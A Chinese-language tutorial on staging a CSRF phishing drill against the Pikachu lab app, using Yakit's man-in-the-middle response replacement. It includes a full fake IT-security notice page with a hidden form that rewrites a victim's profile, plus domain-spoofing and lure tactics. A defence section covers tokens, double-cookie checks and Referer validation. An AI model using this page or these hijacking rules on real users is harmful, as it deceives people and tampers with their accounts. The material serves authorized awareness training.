基于Yakit与内网环境构建高仿真CSRF钓鱼演练实战指南

1. 项目概述：为什么我们需要“高仿真”的CSRF钓鱼演练？

在安全测试这个行当里待久了，你会发现一个挺有意思的现象：很多团队谈起CSRF（跨站请求伪造）漏洞，都知道它危险，知道要加Token、验证Referer，但真到了内部演练或者给开发做培训的时候，往往就草草了事。要么是拿个网上现成的、界面简陋的Demo页面点一下，要么就是在公网环境里象征性地跑一遍，效果嘛，大家心照不宣——开发看了没感觉，测试人员自己也觉得差点意思。

问题出在哪？我认为核心在于“真实感”的缺失。一个成功的CSRF攻击，其威力恰恰在于它在用户毫无察觉的情况下，利用其浏览器的“合法”身份执行了恶意操作。如果演练环境本身就和真实业务环境割裂，比如靶场是独立的、域名是乱写的、操作流程是简化的，那么参与者就很难建立起那种“身临其境”的紧张感和认知。他们知道这是“演练”，心理上就有了防线，自然无法深刻理解CSRF在真实场景下的欺骗性和危害。

所以，我一直在琢磨，能不能搞一套更“逼真”的演练方案？它最好能模拟出内网办公的真实环境，让靶场应用看起来就像公司内部正在用的某个管理系统；让钓鱼页面伪装得和真正的企业通知或协作平台一模一样；让整个攻击链发生在受控但“仿真”的网络里。这样一来，无论是测试人员验证防护措施的有效性，还是给研发团队做生动的安全意识培训，效果都会好上几个量级。

最近深度折腾了一阵Yakit，这个由长亭科技开源的渗透测试工具，我发现它提供的“MITM交互式劫持”和“Web Fuzzer”等能力，配合上内网环境，简直就是打造高仿真CSRF演练的“神兵利器”。它不像Burp Suite那样需要复杂的代理配置和证书安装才能让内网设备“听话”，其流量劫持和修改能力更加直观和灵活，特别适合我们快速构建一个从钓鱼到攻击的完整、闭环的演练场景。

简单来说，我们这个项目的目标就是：利用Yakit作为核心操控平台，在内网环境中部署一个仿真的业务系统（靶场），然后手把手带你构造一个极具迷惑性的钓鱼页面，最终实现一次让被演练者“信以为真”的CSRF攻击演示。整个过程，我们追求的不是漏洞的复杂度，而是场景的仿真度和演练的启发性。下面，我就把这套思路和实操细节毫无保留地分享出来。

2. 演练环境设计与核心工具选型

工欲善其事，必先利其器。一个高仿真的演练，环境搭建是基石。这里面的每一个选择，都直接决定了后续演练的“沉浸感”。

2.1 为什么是“内网环境”？

公网演练当然可以做，但局限性太大。首先，你很难让所有参与演练的同事都去访问一个陌生的公网域名或IP，这本身就会引起警惕。其次，公网环境无法模拟企业内部DNS、内部域名认证（如单点登录SSO的跳转）、内部网络策略等关键上下文。而CSRF攻击常常就潜伏在这些“信任边界”之内。

因此，我们选择在内网搭建环境。这能带来几个核心优势：

1. 高可信度：我们可以使用类似http://internal-hr.demo.com这样的内部域名，员工平时访问的OA、CRM系统也是类似的格式，心理上不会设防。
2. 还原真实网络流：可以完整模拟从内网用户发起请求，到内部应用服务器响应的整个路径，包括可能存在的网络设备（如WAF、负载均衡）的日志记录，这对于后续分析攻击痕迹非常有价值。
3. 完全可控且安全：整个演练流量不会流出公司网络，避免任何敏感信息泄露或对外部造成影响，符合安全合规要求。

2.2 靶场应用选型：要“像”，不要“难”

靶场的作用是模拟一个存在CSRF漏洞的真实业务系统。我们不需要一个漏洞百出的“破盒子”，而需要一个看起来正常、但特定功能点存在CSRF缺陷的应用。

这里我强烈推荐Pikachu漏洞练习平台。为什么不选DVWA？DVWA的CSRF关卡过于经典和简单，界面也太过“靶场化”，一眼就能看出来。Pikachu的界面相对更“柔和”，更像一个普通的后台管理系统，并且它的CSRF漏洞模块（比如“修改个人信息”、“添加用户”）业务流程更贴近真实场景。例如，它的“修改个人信息”页面，表单字段齐全，提交后的反馈也像一个正经系统，非常适合我们拿来改造。

我们将把Pikachu部署在内网的一台服务器上（可以用虚拟机，比如IP为192.168.1.100），并为其绑定一个仿真的内部域名，例如pikachu.demo.internal。通过修改本机的hosts文件或在内网搭建一个简单的DNS服务器，让所有参与演练的电脑都能解析这个域名到靶机IP。

2.3 核心武器：Yakit的不可替代性

为什么是Yakit，而不是更传统的Burp Suite或ZAP？

• 对新手和内网设备更友好：Yakit的“MITM服务器”启动后，会生成一个二维码和一条简单的命令行连接指令。让内网中的其他设备（比如同事的手机、另一台电脑）连接这个代理，通常只需要扫描二维码或执行一条命令，无需手动安装证书到系统根证书库。这个体验在移动端和跨平台环境下优势巨大，极大地降低了参与门槛。
• 交互式劫持（MITM）能力强大：它的“手动劫持”模式可以实时拦截、查看、修改任意HTTP/HTTPS请求与响应。我们不仅可以用它来抓取靶场表单的请求，更能动态地修改服务器返回的响应内容——这是构造高仿真钓鱼页面的关键。比如，我们可以劫持一个正常的内部通知页面，将其内容替换成我们的钓鱼表单。
• Web Fuzzer 与 “热加载”：Yakit的Web Fuzzer功能强大，我们可以用它来快速重放和变异我们的CSRF攻击请求。更重要的是，我们可以把精心构造的钓鱼页面HTML代码，通过“热加载”的方式，动态注入到被劫持的响应流中，实现“所见即所得”的页面篡改。
• 集成化与便携性：Yakit把扫描、漏洞检测、流量操控、Payload管理都集成在一个界面里，切换上下文非常快。对于这个演练项目，我们基本上在一个工具内就能完成从环境探测、漏洞验证到钓鱼页面制作、流量投放的全过程。

注意：使用任何代理工具进行安全测试，都必须事先获得明确的授权。本次演练必须在完全可控的内网测试环境进行，目标仅限于我们自己部署的靶场应用，绝对禁止对未经授权的任何系统或个人进行测试。

2.4 辅助工具：让钓鱼页面“以假乱真”

除了Yakit，我们还需要一点前端“手艺”。钓鱼页面的终极目标是让受害者看不出任何破绽。因此，我们需要：

1. 浏览器开发者工具：用于快速分析目标页面的HTML结构、CSS样式和网络请求，方便我们“复制”样式。
2. 一个简单的文本编辑器或IDE：用于编写和修改钓鱼页面的HTML代码。
3. (可选) 内网简易HTTP服务器：比如Python的http.server模块。当我们需要独立部署一个钓鱼页面时，可以快速在内网起一个服务，赋予它一个看起来合法的URL。

环境清单总结如下：

• 攻击者机器：安装Yakit的主机（Kali Linux或Windows/Mac均可）。
• 靶机：运行Pikachu漏洞平台的虚拟机（IP: 192.168.1.100）。
• 受害者机器：内网中另一台用于模拟普通员工的电脑或手机。
• 网络：所有设备处于同一内网段，可以互相通信。
• 域名：通过hosts文件解析pikachu.demo.internal到靶机IP。

3. 靶场部署与漏洞点分析

环境准备好了，我们先让靶场“跑”起来，并找准我们要利用的那个“脆弱点”。

3.1 部署Pikachu靶场

这里以Linux虚拟机为例，过程非常简单。

# 1. 安装必要的环境，如PHP、MySQL、Apache/Nginx。以Ubuntu为例： sudo apt update sudo apt install apache2 mysql-server php libapache2-mod-php php-mysql -y # 2. 下载Pikachu项目 cd /var/www/html sudo git clone https://github.com/zhuifengshaonianhanlu/pikachu.git sudo chown -R www-data:www-data pikachu/ # 3. 配置数据库 sudo mysql -u root -p # 在MySQL命令行中执行： CREATE DATABASE pikachu; GRANT ALL PRIVILEGES ON pikachu.* TO 'pikachu_user'@'localhost' IDENTIFIED BY 'your_strong_password'; FLUSH PRIVILEGES; EXIT; # 4. 初始化数据库 cd pikachu mysql -u pikachu_user -p pikachu < pikachu.sql # 5. 修改数据库连接配置 sudo vi inc/config.inc.php # 修改 $dbuser, $dbpass 为上一步创建的用户和密码。 # 6. 配置Apache虚拟主机（可选，为了用域名访问） sudo a2enmod rewrite sudo systemctl restart apache2

部署完成后，在攻击者机器的hosts文件（C:\Windows\System32\drivers\etc\hosts或/etc/hosts）中添加一行：

192.168.1.100 pikachu.demo.internal

现在，访问http://pikachu.demo.internal就能看到Pikachu的首页了。

3.2 分析CSRF漏洞点

我们选择Pikachu中的“CSRF(get)”或“CSRF(post)”关卡进行演练。这里以“CSRF(get)”为例，它模拟了一个通过GET请求修改个人信息的场景，这种漏洞在实际的古老系统或设计不当的API中依然可能存在。

1. 正常流程观察：用浏览器（先不挂代理）访问http://pikachu.demo.internal/vul/csrf/csrfget/csrf_get_edit.php。假设我们已经以管理员admin身份登录（Pikachu默认无需登录，但我们为了仿真，可以手动在页面点击“登录”）。
2. 抓包分析：在Yakit中启动MITM服务器，配置浏览器代理指向Yakit（如127.0.0.1:8083），然后清空历史记录。在Pikachu页面上，修改昵称和邮箱，点击提交。
3. 定位关键请求：在Yakit的“HTTP History”中，你会看到类似GET /vul/csrf/csrfget/csrf_get_edit.php?sex=...&phonenum=...&add=...&email=...&submit=submit的请求。这就是我们的目标请求。关键点在于：这个请求包含了所有修改参数，且没有任何Token、Referer检查或二次确认。只要用户浏览器发送了这个特定链接，信息就会被修改。
4. 漏洞原理确认：复制这个GET请求的完整URL，在另一个未登录（或已登录）的浏览器标签页中直接访问。你会发现个人信息同样被修改了。这证实了这是一个典型的CSRF漏洞——攻击者可以构造一个包含恶意参数的链接，诱骗已登录的用户点击或访问，从而在用户不知情的情况下执行操作。

这个请求就是我们后续构造攻击Payload的“模板”。对于POST类型的CSRF，原理相同，只是我们需要构造一个自动提交的表单。

4. 利用Yakit构造高仿真钓鱼页面

这是整个演练的“灵魂”所在。我们的目标不是生成一个带着明显攻击参数的丑陋链接，而是创造一个看起来百分之百可信的页面。

4.1 策略一：利用Yakit劫持与“热加载”实现页面替换

这是最高级、最仿真的一种方式。我们假设内网有一个员工经常访问的公告页面http://intranet.demo.com/announcement.html。我们的计划是：当受害者访问这个公告页面时，Yakit拦截服务器的响应，将真正的公告内容替换成我们精心制作的钓鱼页面。

1. 制作钓鱼页面：首先，我们需要编写一个钓鱼页面的HTML。这个页面应该完美模仿公司内网公告的样式。

   <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>【重要通知】内部系统安全升级确认</title> <style> /* 尽可能复制真实内网公告的CSS */ body { font-family: "Microsoft YaHei", sans-serif; background-color: #f5f5f5; } .container { width: 800px; margin: 30px auto; background: white; padding: 30px; border-radius: 5px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); } .header { color: #d9534f; border-bottom: 2px solid #eee; padding-bottom: 15px; margin-bottom: 20px; } .content { line-height: 1.8; } .btn { display: inline-block; padding: 10px 20px; background: #337ab7; color: white; text-decoration: none; border-radius: 4px; margin-top: 20px; } .footer { margin-top: 30px; color: #999; font-size: 0.9em; text-align: center; } </style> </head> <body> <div class="container"> <div class="header"> <h2>【重要通知】内部系统安全升级确认</h2> <p>发件人：IT安全部 | 日期：2023-10-27</p> </div> <div class="content"> <p>尊敬的同事：</p> <p>为提升系统安全性，信息部将于近期对员工信息管理系统进行安全升级。为确保您的账户信息准确无误，请点击下方按钮，<strong>一键确认并更新您的个人资料</strong>。</p> <p>本操作仅需一秒，且已通过安全校验。感谢您的配合！</p> <!-- 隐藏的自动提交表单 --> <form id="csrfForm" action="http://pikachu.demo.internal/vul/csrf/csrfget/csrf_get_edit.php" method="GET" style="display: none;"> <input type="hidden" name="sex" value="hacker"> <input type="hidden" name="phonenum" value="13800138000"> <input type="hidden" name="add" value="Hacked Address"> <input type="hidden" name="email" value="hacker@demo.internal"> <input type="hidden" name="submit" value="submit"> </form> <a href="#" class="btn" onclick="document.getElementById('csrfForm').submit(); return false;">确认并更新信息</a> <p style="font-size:0.9em; color:#666; margin-top:15px;">（如果您未登录系统，点击后将跳转至登录页面，登录后会自动完成确认。）</p> </div> <div class="footer"> <p>此为系统自动发送邮件，请勿直接回复。<br>如有疑问，请联系IT服务台。</p> </div> </div> </body> </html>

   这个页面的精妙之处在于：

   • 话术逼真：模仿了公司内部通知的口吻和格式。
   • 逻辑陷阱：声称“已通过安全校验”，并暗示如果未登录会跳转登录（实际上，如果用户已登录Pikachu后台，表单会直接提交；如果未登录，则操作失败，但用户可能以为是没登录的原因，不会怀疑页面本身）。
   • 隐藏表单：攻击参数被隐藏在看不见的表单里，用户点击的只是一个无害的按钮。

2. 配置Yakit MITM热加载：

   • 在Yakit中打开“MITM交互式劫持”模块。
   • 在“热加载”标签页下，点击“添加规则”。
   • 规则类型选择“替换响应体”。
   • 匹配URL填写我们想要劫持的真实公告页面地址，例如：http://intranet.demo.com/announcement.html。
   • 在“替换为”的编辑框中，将我们上面写好的钓鱼页面HTML代码粘贴进去。
   • 保存并启用该规则。

3. 效果验证：让受害者机器（配置了代理指向Yakit MITM服务器）访问http://intranet.demo.com/announcement.html。此时，受害者看到的将是我们制作的钓鱼页面，而浏览器地址栏显示的仍然是真实的、可信的公告页面URL！这种仿真度是直接发送一个钓鱼链接无法比拟的。

4.2 策略二：独立钓鱼页面与短链接伪装

如果无法劫持现有页面，我们可以独立部署钓鱼页面，并通过社交工程学进行传播。

1. 部署独立页面：将上述钓鱼页面HTML文件，放置在内网一台主机上，并用Python快速启动HTTP服务。

   python3 -m http.server 8080

   假设这台主机IP是192.168.1.200，那么页面地址就是http://192.168.1.200:8080/phish.html。这个地址看起来不太友好。

2. 域名伪装：在内网DNS服务器或攻击者机器的hosts文件中（通过某种方式让受害者域名解析受控，这在演练环境中是可接受的），将一个人畜无害的域名，如http://upgrade.demo.internal，指向192.168.1.200。这样钓鱼页面地址就变成了http://upgrade.demo.internal/phish.html，可信度大增。

3. 结合Yakit进行请求跟踪：在Yakit的MITM历史记录中，我们可以筛选出所有向pikachu.demo.internal发送的请求。当受害者点击我们钓鱼页面上的按钮后，我们能在Yakit中清晰地看到一条发自受害者IP的、修改信息的GET请求，这证明了攻击成功。我们可以将这个请求截图，作为演练成功的证据。

实操心得：在制作钓鱼页面时，一定要仔细检查同源策略的影响。我们的表单action指向了pikachu.demo.internal，而钓鱼页面可能托管在另一个域名下，这构成了跨站请求，这正是CSRF的核心。浏览器会正常发送请求并携带目标站点（Pikachu）的Cookie。演练中要确保受害者浏览器已登录Pikachu并保持了会话Cookie。

5. 演练执行与攻击效果验证

一切准备就绪，现在可以开始“演出”了。演练的流程设计同样重要，它决定了参与者的体验和最终获得的认识深度。

5.1 设计演练流程

一个完整的演练应该包含以下环节：

1. 背景铺垫（可选）：在演练开始前，可以给参与测试的同事发送一封真实的内部邮件，提及“近期将进行信息安全意识演练”，但不要透露具体时间和形式。这符合合规要求，也避免了真正的恐慌。
2. 投放钓鱼诱饵：
   • 方式A（高仿真）：在受害者访问公司内网某个常用页面（如公告、门户首页）时，通过Yakit热加载规则替换内容。
   • 方式B（邮件/即时通讯）：模拟IT部门或HR部门，发送一封邮件或消息，内容为：“请及时查看内部公告完成安全确认： http://upgrade.demo.internal ”。链接指向我们独立部署的钓鱼页面。
3. 诱导交互：无论哪种方式，最终目的是让受害者点击那个“确认并更新信息”的按钮。
4. 行为观察与记录：通过Yakit的实时流量历史记录，密切监控是否有向csrf_get_edit.php发起的、带有恶意参数的GET请求。一旦捕获，立即记录下受害者的IP、时间、修改的具体参数。
5. 即时反馈与教育（关键步骤）：在受害者点击按钮后，页面不应简单地显示“成功”或“失败”。更好的做法是，通过Yakit劫持Pikachu的响应，将其替换为一个精心设计的“演练结果页面”。

   <!-- 这是替换Pikachu原修改成功响应页面的内容 --> <html><body style="text-align: center; padding: 50px;"> <h2 style="color: #d9534f;">⚠️ 信息安全演练通知 ⚠️</h2> <p>您刚刚模拟了一次真实的CSRF攻击！</p> <p>您点击的“安全确认”按钮，实际上试图将您的个人信息修改为：<code>hacker@demo.internal</code>。</p> <p><strong>这揭示了“跨站请求伪造”攻击的巨大风险：在您登录后台的情况下，一个看似可信的链接或页面，就能在您不知情时执行敏感操作。</strong></p> <p>------</p> <p><a href="/vul/csrf/csrfget/csrf_get_edit.php">点击这里返回原页面，查看您的信息是否已被修改。</a></p> <p>请思考：如何防范此类攻击？开发同学请检查代码是否添加了CSRF Token或验证Referer。</p> </body></html>

   这种即时、震撼的反馈，比事后的总结报告要有效十倍。

5.2 利用Yakit进行多维验证

Yakit不仅是攻击工具，更是验证和取证工具。

1. 攻击成功验证：在“HTTP History”中过滤出目标请求，确认状态码为200，并查看响应内容（或我们替换的演练通知）。可以导出该条请求为CURL命令或原始报文，作为证据。
2. 漏洞修复验证：演练结束后，开发人员可能会修复漏洞，例如添加CSRF Token。我们可以使用Yakit的“Web Fuzzer”功能，快速进行验证。
   • 将之前抓到的合法修改请求发送到Web Fuzzer。
   • 在参数中，尝试将Token值修改为错误值或删除Token参数。
   • 批量发送请求，观察响应。如果修复有效，错误的Token将导致请求被拒绝（返回403或错误信息）。
   • Web Fuzzer的“匹配器”功能可以自动根据响应状态码或内容判断漏洞是否存在，实现自动化验证。

5.3 演练中的注意事项与边界

• 授权！授权！授权！：这是红线。必须在明确的测试授权范围内进行，目标只能是事先约定好的靶场系统。
• 数据隔离：演练用的Pikachu数据库最好与其他测试环境隔离，使用独立的数据库实例，避免脏数据影响其他测试。
• 避免恐慌：演练后的沟通和解释非常重要。要立即向参与者说明这是计划内的安全演练，并详细解释攻击原理和防范措施，将其转化为一次积极的学习体验。
• 控制范围：通过Yakit的MITM规则精确控制劫持的URL，避免误伤其他正常流量。演练结束后，务必立即关闭所有热加载规则和代理设置。

6. 从演练到防御：CSRF防护机制深度剖析

演练的目的不仅是“攻破”，更是为了“加固”。通过这次高仿真的演练，我们可以非常具象地理解CSRF的威胁，进而深入探讨如何防御。

6.1 CSRF攻击的本质与条件

通过我们的演练，可以清晰地看到一次成功的CSRF攻击需要同时满足几个条件：

1. 目标站点存在敏感操作：比如修改信息、转账、发帖等。
2. 用户已登录目标站点并保持会话：浏览器中存有有效的Cookie。
3. 目标站点未部署有效的CSRF防护措施：请求可以被轻易伪造。
4. 用户被诱骗访问恶意页面或点击恶意链接：这是我们演练中精心设计的环节。

6.2 主流防护方案原理与实战部署

防御的核心思想是增加攻击者无法预测或获取的“凭证”。

1. 同步令牌（Synchronizer Token Pattern）

   • 原理：服务器在用户会话中生成一个随机、复杂的Token（如CSRF Token）。当用户请求包含表单的页面时，服务器将此Token嵌入表单的隐藏域中。用户提交表单时，必须携带此Token。服务器验证提交的Token与会话中存储的是否一致。
   • Yakit视角下的攻防：在我们演练中，如果Pikachu的表单里多了一个隐藏的<input type="hidden" name="csrf_token" value="a1b2c3d4e5...">，我们制作的钓鱼页面就无法获知这个value。如果我们尝试不提交Token或提交一个随机值，Yakit的Web Fuzzer会立刻帮助我们捕捉到服务器返回的403错误。这是最常用、最有效的防御方式。
   • 部署要点：Token需足够随机（使用密码学安全的随机数生成器）；绑定到用户会话；每个表单或关键操作使用独立的Token；对于GET请求，不建议用Token，而应改用POST或避免用GET执行写操作。

2. 双重Cookie验证

   • 原理：前端从Cookie中读取某个自定义的Token值（如X-CSRF-TOKEN），在发起请求时，将其作为请求头（如X-CSRF-TOKEN）或参数附加到请求中。服务器比较两者是否一致。因为恶意页面无法读取目标站点的Cookie（受同源策略保护），所以无法伪造正确的请求头。
   • 演练模拟：我们可以用Yakit的“手动劫持”功能，在拦截到Pikachu的响应时，手动添加一个Set-Cookie: X-CSRF-TOKEN=xyz123的头部，并修改前端JS代码，让其将Token添加到后续请求的Header中。然后，在钓鱼页面发起攻击时，由于读不到这个Cookie，攻击就会失败。这种方式常用于前后端分离的项目。

3. 检查Referer/Origin头部

   • 原理：服务器检查HTTP请求头中的Referer或Origin字段，判断请求是否来源于合法的、同源的域名。如果来自外站，则拒绝。
   • 局限性：Referer可能被浏览器隐私设置或某些浏览器扩展屏蔽，导致合法请求被误杀。Origin头在CORS请求和POST请求中会发送，但一些旧式表单提交可能没有。攻击者也可能通过某些漏洞（如开放重定向）构造一个包含合法Referer的请求。因此，它通常作为辅助验证手段，而非唯一手段。

6.3 使用Yakit验证防护措施的有效性

修复漏洞后，我们可以用Yakit扮演“攻击者”来验证。

• 测试Token缺失：用Web Fuzzer重放旧请求（不含Token），预期结果应为4xx错误或操作失败。
• 测试Token错误：修改Token值为随机字符串，预期结果同上。
• 测试Referer检查：修改请求的Referer头为一个外部域名，预期操作应被拒绝。
• 自动化扫描：Yakit的“基础爬虫”和“漏洞检测”模块可以配置CSRF检测插件，对目标应用进行自动化探测，尝试识别未受保护的表单和请求。

7. 常见问题、排查技巧与进阶思路

在实际操作中，你可能会遇到各种意想不到的情况。这里分享一些我踩过的坑和解决思路。

7.1 演练环境常见问题速查表

7.2 进阶演练思路

当基础演练成功后，可以尝试更复杂的场景，提升难度和真实性：

• 组合拳：CSRF + 点击劫持（Clickjacking）：制作一个透明的iframe，覆盖在钓鱼页面的按钮之上。用户以为自己点击的是“查看最新公告”，实际上点击的是隐藏的“确认”按钮。这需要更精细的CSS定位。
• 针对JSON API的CSRF：现代应用更多使用JSON API。如果服务器仅依赖Cookie进行身份认证，且未检查Content-Type头部，那么攻击者可以构造一个恶意页面，用JavaScript发起一个携带Cookie的fetchPOST请求（Content-Type: application/json）。防御方法是要求JSON请求必须携带自定义Header（如X-Requested-With: XMLHttpRequest），因为浏览器同源策略会限制跨域请求添加自定义Header。
• 利用Yakit进行自动化漏洞探测：编写Yakit的Yak脚本，自动化地爬取目标应用的所有表单和AJAX端点，检查是否存在缺失Token、Referer检查不严等CSRF漏洞迹象，并生成报告。

7.3 个人实操心得与避坑指南

1. 仿真度是第一生命力：演练成功的标志不是技术多高超，而是有多少人“上当”。在页面UI、文案、域名上多花心思，效果天差地别。可以找不熟悉技术的同事预览一下钓鱼页面，听听他们的第一感觉。
2. Yakit的规则作用域要清晰：在配置热加载或劫持规则时，匹配条件要尽可能精确，避免污染其他无关流量。演练结束后，养成第一时间禁用或删除规则的习惯。
3. 关注“非浏览器”客户端：CSRF不仅影响浏览器。如果API接口缺乏防护，移动端App、桌面客户端也可能受到类似攻击（虽然不叫CSRF，但原理相通）。在安全意识培训中要提及这一点。
4. 演练的最终目的是修复和意识提升：一定要将演练过程中捕获的攻击请求、成功截图，与开发、产品团队进行复盘。清晰地展示漏洞的危害和修复方案（如何加Token、如何验证），将一次攻击测试转化为一次有效的安全开发培训。

最后，我想说的是，安全测试从来不是炫技，而是为了构建更稳固的防线。通过Yakit和内网环境打造这样一个高仿真的CSRF演练场，就像进行一次逼真的“消防演习”。它让抽象的漏洞原理变成了可感知的风险，让开发人员对“为何要加那一行Token代码”有了刻骨铭心的理解。这套方法不仅适用于CSRF，其核心思路——利用工具实现流量操控、构建仿真环境、设计社会工程学诱饵——可以扩展到其他类型的安全测试和意识培训中，价值深远。